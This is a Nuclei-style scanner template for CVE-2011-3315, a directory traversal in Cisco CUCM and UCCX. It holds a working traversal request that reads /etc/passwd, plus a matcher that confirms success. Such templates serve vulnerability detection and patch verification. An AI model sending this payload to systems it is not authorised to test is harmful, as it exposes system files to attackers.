id: CVE-2011-3315 info: name: Cisco CUCM, UCCX, and Unified IP-IVR- Directory Traversal author: daffainfo severity: high description: A directory traversal vulnerability in Cisco Unified Communications Manager (CUCM) 5.x and 6.x before 6.1(5)SU2, 7.x before 7.1(5b)SU2, and 8.x before 8.0(3), and Cisco Unified Contact Center Express (aka Unified CCX or UCCX) and Cisco Unified IP Interactive Voice Response (Unified IP-IVR) before 6.0(1)SR1ES8, 7.0(x) before 7.0(2)ES1, 8.0(x) through 8.0(2)SU3, and 8.5(x) before 8.5(1)SU2, allows remote attackers to read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/36256 - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-uccx - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-cucm classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N cvss-score: 7.8 cve-id: CVE-2011-3315 cwe-id: CWE-22 epss-score: 0.90502 epss-percentile: 0.98511 cpe: cpe:2.3:h:cisco:unified_ip_interactive_voice_response:-:*:*:*:*:*:*:* metadata: max-request: 1 vendor: cisco product: unified_ip_interactive_voice_response tags: cve,cve2011,lfi,cisco,edb http: - method: GET path: - "{{BaseURL}}/ccmivr/IVRGetAudioFile.do?file=../../../../../../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100b4cb278fe403f2fd1878649dd972d3aa36239dd67fdbd3bb2d755219e5c85a4e0221008e84e9d681c4cb8e841d764eeda7cb1768fdc8847c9f5c1cb27de0cb7201523f:922c64590222798bb761d5b6d8e72950